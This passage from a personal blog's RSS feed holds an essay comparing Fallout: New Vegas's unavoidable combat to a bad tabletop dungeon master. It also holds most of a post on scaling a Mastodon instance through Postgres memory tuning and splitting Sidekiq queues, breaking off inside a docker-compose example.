role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:8&#34;&gt;&#xA;&lt;p&gt;Such as the &lt;a href=&#34;https://ufoi.org/&#34;&gt;United Federation of Instances&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:8&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:9&#34;&gt;&#xA;&lt;p&gt;Thanks to @alcapurrias@seaside.cafe for pointing this out.&amp;#160;&lt;a href=&#34;#fnref:9&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/div&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Fallout: New Vegas Is Like a TTRPG With a Bad DM</title>
      <link>https://nora.codes/post/fallout-new-vegas-is-like-a-ttrpg-with-a-bad-dm/</link>
      <pubDate>Thu, 12 Jan 2023 20:09:56 -0600</pubDate>
      <guid>https://nora.codes/post/fallout-new-vegas-is-like-a-ttrpg-with-a-bad-dm/</guid>
      <description>&lt;p&gt;I love Fallout: New Vegas.&#xA;I keep going back to it, in a way that I don&amp;rsquo;t for Oblivion, or Skyrim,&#xA;or Fallout 3.&#xA;And yet, every time I sit down to play the game, whether reliving old memories&#xA;or showing one of my favorite pieces of art to someone new,&#xA;my enthusiasm quickly fades.&#xA;For a long time, I had no idea why, but today I figured it out.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;I love Fallout: New Vegas.&#xA;I keep going back to it, in a way that I don&amp;rsquo;t for Oblivion, or Skyrim,&#xA;or Fallout 3.&#xA;And yet, every time I sit down to play the game, whether reliving old memories&#xA;or showing one of my favorite pieces of art to someone new,&#xA;my enthusiasm quickly fades.&#xA;For a long time, I had no idea why, but today I figured it out.&lt;/p&gt;&#xA;&lt;p&gt;Minor spoilers ahead.&lt;/p&gt;&#xA;&lt;h2 id=&#34;nevada-route-164&#34;&gt;Nevada Route 164&lt;/h2&gt;&#xA;&lt;p&gt;See, Fallout: New Vegas, like all the Bethesda Fallout games, is set in a real&#xA;place.&#xA;The Mojave Outpost sits in Mountain Pass, CA, just southeast of Clark Mountain,&#xA;where the Barstow Fwy becomes the Mojave Fwy.&#xA;Primm, the Powder Ganger-afflicted resort town, is a conceptual fusion&#xA;of the real world towns of Primm, NV and Jean, NV.&#xA;I&amp;rsquo;ve driven the stretch of I-15 between Goodsprings and Mountain Pass, CA,&#xA;several times over on the way to and from the DEF CON convention.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s a perfect place to set a video game.&#xA;The huge elevation changes,&#xA;the long stretch of empty desert from Mountain Pass up to Jean,&#xA;and the encircling mountains make for impressive but constrained sight lines,&#xA;as well as a multitude of foothills and vales to set side-quests and hidden&#xA;locations in.&#xA;Obsidian Entertainment, unsurprisingly, took full advantage of the landscape&#xA;to set the first free-roaming section of the game.&lt;/p&gt;&#xA;&lt;figure class=&#34;center&#34;&gt;&#xA;    &lt;a href=&#34;https://www.reddit.com/r/fnv/comments/pcjc8z/did_a_mojave_wasteland_infographics_map_feedback/&#34;&gt;&lt;img src=&#34;./images/fnv/mojave-map-waiii23.webp&#34; alt=&#34;A map of the FNV playspace, made by Reddit user waiii23&#34;&gt;&lt;/a&gt;&#xA;A map of the Fallout: New Vegas playspace, made by Reddit user waiii23.&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;In most playthroughs, the player character will make their way from the&#xA;sleepy town of Goodsprings, down the gangster- and scorpion-infested I-15,&#xA;through the embattled town of Primm,&#xA;and into the relative safety of the Mojave Outpost at Mountain Pass.&#xA;There, the game begins to open up; several characters give the player quests,&#xA;if they go looking for them;&#xA;the collectable Star Bottle Caps appear for the first time;&#xA;and there are even a few trading caravans and random encounters in the area&#xA;in order to keep inquisitive players busy.&lt;/p&gt;&#xA;&lt;p&gt;All of these signs, though, point toward a single path: Nevada Route 164&#xA;(in reality, Nipton Rd., which becomes Nevada Rt. 164 after passing through Nipton.)&#xA;After Nipton, the player enters Nevada proper, and the game opens up completely.&#xA;A normal playthrough could easily lead to Ranger Station Charlie,&#xA;or Ranger Station Echo, or to fascist-occupied Cottonwood Cove.&#xA;This stretch of road is the last place where Obsidian has a reasonable amount&#xA;of narrative control over the player; there&amp;rsquo;s nowhere to go but east.&lt;/p&gt;&#xA;&lt;p&gt;So what do they do with that control?&lt;/p&gt;&#xA;&lt;p&gt;They throw two pointless, unavoidable combat encounters at you.&lt;/p&gt;&#xA;&lt;h2 id=&#34;killers-with-no-fixed-abode&#34;&gt;Killers with No Fixed Abode&lt;/h2&gt;&#xA;&lt;p&gt;Fallout: New Vegas is a lot like Dungeons and Dragons,&#xA;and not just in the way most action RPGs are kinda, sorta like D&amp;amp;D.&#xA;In fact, it&amp;rsquo;s an awful lot like the 3rd edition of D&amp;amp;D.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s got ability scores in the form of SPECIAL Attributes.&#xA;These scores influence a large number of more specialized skills,&#xA;which can each be individually increased.&#xA;It&amp;rsquo;s got experience points which, once enough are accumulated,&#xA;allow a player character to improve their skills and acquire unique abilities.&#xA;It lets players choose which skills they change when they level up,&#xA;unlike Skyrim&amp;rsquo;s skill training system.&#xA;It&amp;rsquo;s got a universal currency, despite some trappings of state currencies,&#xA;and unique, powerful items that can&amp;rsquo;t be purchased at any random vendor.&lt;/p&gt;&#xA;&lt;p&gt;And, like Dungeons and Dragons, the most surefire way to get experience points,&#xA;cash, and unique items is seeking out life-or-death fights and winning.&#xA;In Dungeons and Dragons, taking this structure too seriously can lead to a&#xA;problem commonly known as &amp;ldquo;murderhoboism&amp;rdquo; - player characters that wander the&#xA;land looking for fights, just so they can get kills, gold, and magic items.&lt;/p&gt;&#xA;&lt;p&gt;There&amp;rsquo;s nothing wrong with playing that way; it can be a lot of fun.&#xA;But for players who value more character-focused games,&#xA;which Fallout: New Vegas certainly strives to be,&#xA;a good Dungeon Master will steer the players towards other methods of conflict&#xA;resolution when possible.&#xA;The best D&amp;amp;D games do include combat, of course, but in my experience they&#xA;rarely involve unavoidable combat encounters that pop up out of the blue.&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;figure class=&#34;left&#34;&gt;&#xA;    &lt;a href=&#34;https://fallout.fandom.com/wiki/Jackal_gang_member?file=FNV_Jackal_Gang_Member_female.jpg&#34;&gt;&lt;img src=&#34;./images/fnv/FNV_Jackal_Gang_Member_female.webp.thumb&#34; alt=&#34;A Jackal Gang Member enemy in metal armor, from Fallout: New Vegas.&#34;&gt;&lt;/a&gt;&#xA;A Jackal Gang Member, on the stretch of I-15 heading from Goodsprings to the&#xA;Mojave Outpost in Mountain Pass, CA.&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;Player characters in D&amp;amp;D often find themselves on that stretch of Rt. 164:&#xA;on the way from one major location to another, having just healed up,&#xA;filled up on minor magic items, and maybe even picked up a hireling&#xA;or two.&#xA;It&amp;rsquo;s absolutely reasonable to throw a few encounters at them on the way.&#xA;For instance, a DM might put some highwaymen on the road between two towns.&#xA;The player characters might hear rumors about them in town,&#xA;if they ask around;&#xA;either way, the players would be wise to have their characters look out for&#xA;signs of an ambush.&#xA;With high stats and good luck, they might notice fresh tracks,&#xA;foliage out of place, or even something moving in the trees.&#xA;If they notice the ambush, the player characters might be able to sneak past,&#xA;or stage a diversion, especially if they use some of their resources,&#xA;like a wizard&amp;rsquo;s spells or an invisibility potion.&lt;/p&gt;&#xA;&lt;p&gt;Even if they can&amp;rsquo;t make it past undetected, mortal peril isn&amp;rsquo;t necessarily&#xA;on the cards.&#xA;The highwaymen aren&amp;rsquo;t murderers by trade, after all; they&amp;rsquo;re robbers!&#xA;They&amp;rsquo;ll ambush the player characters, surround them, and ask them - what else? -&#xA;&amp;ldquo;Your money or your life!&amp;rdquo;&#xA;If the PCs pay up, nobody gets hurt.&#xA;If they don&amp;rsquo;t want to pay (and who would!), it&amp;rsquo;s a great opportunity for&#xA;roleplay.&#xA;A brash, headstrong barbarian might want to fight,&#xA;but be tempered by the wiser cleric or ranger.&#xA;A city-bred noble might be unused to encountering such danger,&#xA;and might simply try to command the bandits to stand down.&#xA;A happy-go-lucky halfling bard might try to sway them with a story and a song.&lt;/p&gt;&#xA;&lt;p&gt;If all of that is past and combat does break out,&#xA;the player characters killing or seriously injuring a single highwayman&#xA;will likely lead to a second parlay,&#xA;and a chance to negotiate an end to hostilities.&#xA;No matter what, it gives the DM a chance to make the world feel more real,&#xA;and the players a chance to flex their roleplaying muscles.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;That&amp;rsquo;s not a option in Fallout: New Vegas.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;zero-to-climax-in-no-tension-flat&#34;&gt;Zero to Climax in No Tension Flat&lt;/h2&gt;&#xA;&lt;p&gt;A proficient player, or one who has spent a lot of time and skill points on&#xA;stealth, might be able to sneak past the Jackal Gang Members lying in wait&#xA;on that stretch of the highway - but that means completely avoiding the content.&#xA;So does simply leaving the highway, and that&amp;rsquo;s likely to lead to combat anyway.&lt;/p&gt;&#xA;&lt;p&gt;Any engagement with the Jackals that Obsidian chose to place, in the ruined&#xA;buildings they modelled and textured and designed into that part of the map,&#xA;is a combat encounter.&#xA;Any combat encounter is a fight to the death.&#xA;That frustrates me.&lt;/p&gt;&#xA;&lt;p&gt;It frustrates me because it&amp;rsquo;s just about the least effective way to build&#xA;tension.&#xA;An NPC tells you the road is dangerous; you walk down the road and maybe see&#xA;some enemies; you fight them and either die or kill them all.&#xA;That&amp;rsquo;s it.&#xA;It&amp;rsquo;s throwing away perhaps a dozen opportunities to &amp;ldquo;fail forward&amp;rdquo;;&#xA;to let the game ratchet up the tension, give the players the opportunity to&#xA;fail and end up in a worse situation, and the opportunity to make the right&#xA;choice and move forward.&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;p&gt;It would be easy to fix, too.&#xA;The game already has a method of valuing items based on individual NPCs&#xA;and player characters&amp;rsquo; stats;&#xA;why not just have a &amp;ldquo;robbery&amp;rdquo; version, where you&amp;rsquo;re asked at gunpoint to&#xA;hand over a certain caps value of items?&#xA;The gang members tell you to fork over the caps;&#xA;you can try to talk them out of it, and if you fail, the trading menu pops up.&#xA;If you can&amp;rsquo;t or won&amp;rsquo;t meet the minimum, it&amp;rsquo;s combat.&#xA;Then, the first time one of the gangsters loses a limb or dies,&#xA;it&amp;rsquo;s back to dialogue to negotiate for a lower price to end the fight,&#xA;or try to convince them that you&amp;rsquo;re dangerous enough to leave you alone.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;m not saying a fight to the death shouldn&amp;rsquo;t be on the table,&#xA;but it&amp;rsquo;s much less satisfying to go from zero to sixty the way Bethesda games&#xA;so often do, and in a game as narrative and character focused as New Vegas,&#xA;it absolutely stands out.&lt;/p&gt;&#xA;&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;&#xA;&lt;hr&gt;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&#xA;&lt;p&gt;The exception to this is spontaneous, unavoidable combat&#xA;encounters that make sense in the narrative and exist to push the players&#xA;into new ways of thinking or give them additional resources.&#xA;Matt Colville talks about this in the video &amp;ldquo;&lt;a href=&#34;https://www.reddit.com/r/mattcolville/comments/b0pgsn/orcs_attack/&#34;&gt;Orcs&#xA;Attack&lt;/a&gt;&amp;rdquo;&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:2&#34;&gt;&#xA;&lt;p&gt;Matt Colville talks about this in his excellent video&#xA;&amp;ldquo;&lt;a href=&#34;https://www.youtube.com/watch?v=l1zaNJrXi5Y&#34;&gt;Many Fail States&lt;/a&gt;&amp;rdquo;&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/div&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Scaling Mastodon in the Face of an Exodus</title>
      <link>https://nora.codes/post/scaling-mastodon-in-the-face-of-an-exodus/</link>
      <pubDate>Thu, 10 Nov 2022 11:15:18 -0600</pubDate>
      <guid>https://nora.codes/post/scaling-mastodon-in-the-face-of-an-exodus/</guid>
      <description>&lt;blockquote&gt;&#xA;&lt;p&gt;TL;DR: Mastodon’s Sidekiq deferred execution jobs are the limiting factor for&#xA;scaling federated traffic in a single-server or small cluster deployment.&#xA;Sidekiq performance scales poorly under a single process model, and can be&#xA;limited by database performance in a deployment of the default Dockerized&#xA;configuration.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;If you are an embattled instance admin, go &lt;a href=&#34;#lessons-learned&#34;&gt;here&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I recently moved to a well-established Mastodon&#xA;(&lt;a href=&#34;https://github.com/hometown-fork/hometown&#34;&gt;Hometown&lt;/a&gt; fork)&#xA;server called &lt;a href=&#34;https://weirder.earth&#34;&gt;weirder.earth&lt;/a&gt;,&#xA;a wonderful community with several very dedicated moderators&#xA;and longstanding links to other respected servers in the fediverse.&#xA;Overall, it&amp;rsquo;s been lovely; the community is great,&#xA;the Hometown fork has some nice ease-of-use features,&#xA;and the moderators tend to squash spam and bigotry pretty quickly.&lt;/p&gt;</description>
      <content:encoded>&lt;blockquote&gt;&#xA;&lt;p&gt;TL;DR: Mastodon’s Sidekiq deferred execution jobs are the limiting factor for&#xA;scaling federated traffic in a single-server or small cluster deployment.&#xA;Sidekiq performance scales poorly under a single process model, and can be&#xA;limited by database performance in a deployment of the default Dockerized&#xA;configuration.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;If you are an embattled instance admin, go &lt;a href=&#34;#lessons-learned&#34;&gt;here&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I recently moved to a well-established Mastodon&#xA;(&lt;a href=&#34;https://github.com/hometown-fork/hometown&#34;&gt;Hometown&lt;/a&gt; fork)&#xA;server called &lt;a href=&#34;https://weirder.earth&#34;&gt;weirder.earth&lt;/a&gt;,&#xA;a wonderful community with several very dedicated moderators&#xA;and longstanding links to other respected servers in the fediverse.&#xA;Overall, it&amp;rsquo;s been lovely; the community is great,&#xA;the Hometown fork has some nice ease-of-use features,&#xA;and the moderators tend to squash spam and bigotry pretty quickly.&lt;/p&gt;&#xA;&lt;p&gt;Then Elon Musk bought Twitter.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-setup&#34;&gt;The Setup&lt;/h2&gt;&#xA;&lt;p&gt;Just as tens of thousands of people&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; fled Twitter to join the fediverse,&#xA;Weirder Earth had a storage migration pending.&#xA;It did not go well, for reasons unrelated to this post,&#xA;and the instance was down for several hours.&lt;/p&gt;&#xA;&lt;p&gt;Normally, this would not be a problem; ActivityPub&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;,&#xA;the protocol that powers Mastodon and other fediverse software,&#xA;is very resilient to outages,&#xA;and most implementations have plenty of built-in mechanisms like exponential&#xA;backoff and so forth to get their neighbors up to date when they come back online.&#xA;This particular outage, however, coincided with a huge amount of traffic,&#xA;so when the server did come back online,&#xA;there were many tens of thousands of messages waiting for it.&#xA;Each of these messages necessitates a Sidekiq task which integrates it into the&#xA;database, users’ timelines and notification lists, and so forth.&lt;/p&gt;&#xA;&lt;p&gt;Sidekiq did not succeed in handling this load.&lt;/p&gt;&#xA;&lt;figure class=&#34;center&#34;&gt;&#xA;    &lt;a href=&#34;./images/sidekiq.webp&#34;&gt;&lt;img src=&#34;./images/sidekiq.webp&#34; alt=&#34;the past six months of Sidekiq data. Most of it is steady, maybe a slow&#xA;decline, and labeled &amp;ldquo;In which Elon Musk has not yet bought Twitter&amp;rdquo;. The last&#xA;little bit is labeled &amp;ldquo;OH SHII-&amp;rdquo; and shows instance load spiking massively.&#34;&gt;&lt;/a&gt;&#xA;A screenshot from the Weirder Earth Sidekiq dashboard, showing processed and&#xA;failed jobs over time. Created and edited by &lt;a href=&#34;https://weirder.earth/@packbat&#34;&gt;Packbats&lt;/a&gt;.&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;Users began to experience multi-hour delays in incoming federation,&#xA;though outgoing federation was unaffected.&#xA;To users of other instances, nothing was wrong;&#xA;weirder.earth posts showed up within seconds, or about two minutes at the worst.&#xA;Even to weirder.earth users, the web interface worked perfectly well;&#xA;it’s just that there was little new content to populate it.&lt;/p&gt;&#xA;&lt;p&gt;The Sidekiq queue grew and grew over time,&#xA;eventually reaching a peak of over 200,000 queued jobs.&#xA;In conversation with the admin of another instance of a roughly similar size,&#xA;I learned that processing a 6-digit number of jobs is a day is only a fairly&#xA;recent phenomenon.&#xA;So, this was an issue.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-cause&#34;&gt;The Cause&lt;/h2&gt;&#xA;&lt;p&gt;I became involved with this situation during the initial outage,&#xA;helping with Docker problems, alongside another user, the Packbats,&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;&#xA;and another instance admin.&#xA;As the Sidekiq queue grew and grew, myself and two of the instance’s admins&#xA;looked into every possible cause,&#xA;mostly sifting through documentation,&#xA;since it was not an area of expertise for any of us.&lt;/p&gt;&#xA;&lt;p&gt;It was immediately clear that at least part of the problem was Sidekiq’s&#xA;inability to successfully use the 8GB of memory and 4 CPU cores available&#xA;to the server;&#xA;the RSS of the single Sidekiq process was around 350 MB,&#xA;and the load factor was averaging around 3 – not even fully utilizing the 4&#xA;available cores.&lt;/p&gt;&#xA;&lt;p&gt;So, we started increasing the number of workers available to Sidekiq.&#xA;This was done by increasing &lt;code&gt;MAX_THREADS&lt;/code&gt; and passing the &lt;code&gt;-c&lt;/code&gt; (“concurrency”)&#xA;argument to Sidekiq.&#xA;(We later learned that &lt;code&gt;DB_POOL&lt;/code&gt; is more appropriate; see below.)&#xA;We increased first to 15, then to 25, and finally to 50, which is the&#xA;mythical “stable limit” of Sidekiq according to several StackOverflow posts.&lt;/p&gt;&#xA;&lt;p&gt;It helped, but the queue depth was still growing, so we increased our database&#xA;container’s max connections to 200 (by adding -c ‘max_connections = 200’ to the&#xA;invocation in docker-compose.yml) and increased to 150 Sidekiq threads.&#xA;Again, this helped, but overnight the queue continued to grow.&lt;/p&gt;&#xA;&lt;p&gt;At this point, I realized that the bottleneck was not in Sidekiq anymore;&#xA;individual jobs had gone from completing in seconds to tens of seconds and even&#xA;sometimes over a minute.&#xA;One of the instance admins pulled up PgHero and we realized that, indeed,&#xA;the database was being incredibly conservative with memory.&#xA;By default, it was using only 128MB for shared buffers, which is dramatically&#xA;low on a server with 4GB of memory and a workload like Mastodon,&#xA;where a huge volume of traffic is just fetching the same few posts and&#xA;conversations over and over again.&#xA;So, we increased that to the aggressive value of 2GB,&#xA;and again saw an improvement in performance.&#xA;Rather than growing, the queue was now stable, at 194,000 events and a latent&#xA;time of about 14 hours.&lt;/p&gt;&#xA;&lt;p&gt;We had conquered the first derivative.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-solution&#34;&gt;The Solution&lt;/h2&gt;&#xA;&lt;p&gt;Ultimately, the real solution as a combination of three things:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Increasing the memory available to the database for shared buffers&lt;/li&gt;&#xA;&lt;li&gt;Increasing the number of threads available to Sidekiq&#xA;(and, accordingly, the database connection pool size and maximum number of&#xA;connections via &lt;code&gt;DB_POOL&lt;/code&gt; and &lt;code&gt;max_connections&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Splitting Sidekiq’s queues off into their own processes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;See, Mastodon uses 5 Sidekiq queues: &lt;code&gt;default&lt;/code&gt;, &lt;code&gt;push&lt;/code&gt;, &lt;code&gt;pull&lt;/code&gt;, &lt;code&gt;mailers&lt;/code&gt;, and&#xA;&lt;code&gt;scheduler&lt;/code&gt;.&#xA;For us, push was conquered early on,&#xA;and mailers and scheduler were never an issue,&#xA;having very low volume.&#xA;&lt;code&gt;pull&lt;/code&gt;, for getting incoming federation events, and &lt;code&gt;default&lt;/code&gt;, for building&#xA;notifications and timelines, were the real trouble.&#xA;So, we split them into their own Sidekiq processes.&lt;/p&gt;&#xA;&lt;p&gt;We had gone up to 200 &lt;code&gt;max_connections&lt;/code&gt; and a concurrency of 150, so I&#xA;guesstimated that the following split would work well:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a single container/process for the &lt;code&gt;push&lt;/code&gt;, &lt;code&gt;mailers&lt;/code&gt;, and &lt;code&gt;scheduler&lt;/code&gt; queues&#xA;with 25 threads&lt;/li&gt;&#xA;&lt;li&gt;a container/process each for &lt;code&gt;pull&lt;/code&gt; and &lt;code&gt;default&lt;/code&gt; with 60 threads each&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This worked great for &lt;code&gt;pull&lt;/code&gt;. We went from holding steady to dropping about 500 events every&#xA;minute, and rapidly cleared the entire pull queue – but the default queue was&#xA;still holding on. &lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;p&gt;This was harder to diagnose, but eventually we realized that the Sidekiq&#xA;instance working on the default queue wasn’t at its full potential.&#xA;Looking at the PgHero connection status dashboard,&#xA;we could see that many of our 200 connections were held by inactive or&#xA;low-activity Sidekiq processes with names like &lt;code&gt;sidekiq 6.2.1 mastodon [0 of 25 busy]&lt;/code&gt; while the active ones were only holding a few connections.&#xA;But that should be okay, right? 60 + 60 + 25 is much less than 200,&#xA;so there should be plenty of connections to go around.&lt;/p&gt;&#xA;&lt;p&gt;As it turned out, Puma was also configured to use lots of database connections&#xA;(&lt;code&gt;MAX_THREADS = 150&lt;/code&gt;), so it was hogging many that it didn&amp;rsquo;t need.&#xA;We sorted that out, refined our Postgres config to allow even more connections,&#xA;split the Sidekiq processes up even more,&#xA;with fallbacks and various different ordered combinations of queues.&#xA;We all went to sleep and woke up to an empty queue!&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ve been experimenting and optimizing since, but the server has been&#xA;coping with the load handily since.&lt;/p&gt;&#xA;&lt;h2 id=&#34;lessons-learned&#34;&gt;Lessons Learned&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a id=&#34;lessons-learned&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The default Mastodon configuration is broken.&#xA;It’s fine for a tiny instance on a tiny server, but once you start to grow,&#xA;you must scale it up. Here&amp;rsquo;s what we did:&lt;/p&gt;&#xA;&lt;h3 id=&#34;increase-your-databases-resources&#34;&gt;Increase Your Database&amp;rsquo;s Resources&lt;/h3&gt;&#xA;&lt;p&gt;By default, especially in the default Docker setup,&#xA;Postgres is not using any appreciable percentage of your memory.&#xA;I suggest using &lt;a href=&#34;https://pgtune.leopard.in.ua/&#34;&gt;PgTune&lt;/a&gt;,&#xA;choosing an &amp;ldquo;online transaction processing&amp;rdquo; or OLTP workload,&#xA;setting about half of your server&amp;rsquo;s memory, and applying whatever it says.&lt;/p&gt;&#xA;&lt;p&gt;In Docker, it&amp;rsquo;s easiest to apply this through adding &lt;code&gt;-c &amp;quot;option=value&amp;quot;&lt;/code&gt;&#xA;arguments to the invocation in &lt;code&gt;docker-compose.yml&lt;/code&gt;;&#xA;this can also work if you&amp;rsquo;re invoking Postgres through a SystemD unit.&#xA;Or, you can use &lt;code&gt;postgresql.conf&lt;/code&gt;. Don&amp;rsquo;t forget to restart the database.&lt;/p&gt;&#xA;&lt;h3 id=&#34;split-your-sidekiq-queues&#34;&gt;Split Your Sidekiq Queues&lt;/h3&gt;&#xA;&lt;p&gt;Sidekiq can scale to as many as hundreds of threads on a single process,&#xA;but using multiple processes is much more efficient.&#xA;&lt;strong&gt;Before increasing concurrency&lt;/strong&gt; (that&amp;rsquo;s the next step!),&#xA;split out the queues into different processes.&lt;/p&gt;&#xA;&lt;p&gt;All the queues in Mastodon can be split among multiple processes,&#xA;&lt;strong&gt;except for &lt;code&gt;scheduler&lt;/code&gt;&lt;/strong&gt;, which must only ever be on a single process.&#xA;I recommend having a single Sidekiq process each for the &lt;code&gt;mailers&lt;/code&gt; and &lt;code&gt;scheduler&lt;/code&gt;&#xA;queues, and then processes that prioritize &lt;code&gt;pull&lt;/code&gt;, &lt;code&gt;push&lt;/code&gt;, and &lt;code&gt;default&lt;/code&gt;.&#xA;You can specify queues with the &lt;code&gt;-q&lt;/code&gt; option in &lt;code&gt;docker-compose.yml&lt;/code&gt; or your&#xA;SystemD unit files.&lt;/p&gt;&#xA;&lt;p&gt;Specifying multiple &lt;code&gt;-q&lt;/code&gt; options gives Sidekiq a fallback order for working on&#xA;jobs, so for instance &lt;code&gt;-q default -q pull&lt;/code&gt; means that when all &lt;code&gt;default&lt;/code&gt; jobs&#xA;are done, that process will start working on &lt;code&gt;pull&lt;/code&gt; jobs.&#xA;Make sure that there is at least one process prioritizing every queue,&#xA;or else processing that queue could stall entirely!&lt;/p&gt;&#xA;&lt;p&gt;Because the queues you want to prioritize are &lt;code&gt;default&lt;/code&gt;, &lt;code&gt;push&lt;/code&gt;, and &lt;code&gt;pull&lt;/code&gt;,&#xA;it might be sensible to make processes with all the permutations of&#xA;&lt;code&gt;default&lt;/code&gt;, &lt;code&gt;push&lt;/code&gt;, and &lt;code&gt;pull&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;default&lt;/code&gt;, &lt;code&gt;push&lt;/code&gt;, &lt;code&gt;pull&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;default&lt;/code&gt;, &lt;code&gt;pull&lt;/code&gt;, &lt;code&gt;push&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;pull&lt;/code&gt;, &lt;code&gt;default&lt;/code&gt;, &lt;code&gt;push&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;pull&lt;/code&gt;, &lt;code&gt;push&lt;/code&gt;, &lt;code&gt;default&lt;/code&gt; *&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;push&lt;/code&gt;, &lt;code&gt;default&lt;/code&gt;, &lt;code&gt;pull&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;push&lt;/code&gt;, &lt;code&gt;pull&lt;/code&gt;, &lt;code&gt;default&lt;/code&gt; *&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;However, in reality, &lt;code&gt;push&lt;/code&gt; is generally much lower volume than the others,&#xA;so it makes more sense to drop the number of queues to four, removing the&#xA;fourth and final orderings (marked with *).&lt;/p&gt;&#xA;&lt;p&gt;To do this in Docker, simply copy and paste the &lt;code&gt;sidekiq&lt;/code&gt; service definition,&#xA;change the name, and add arguments to the invocation.&lt;/p&gt;&#xA;&lt;details&gt;&lt;summary&gt;For instance, we might go from this default definition: &lt;/summary&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-yml&#34; data-lang=&#34;yml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;sidekiq&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;build&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;.&lt;span 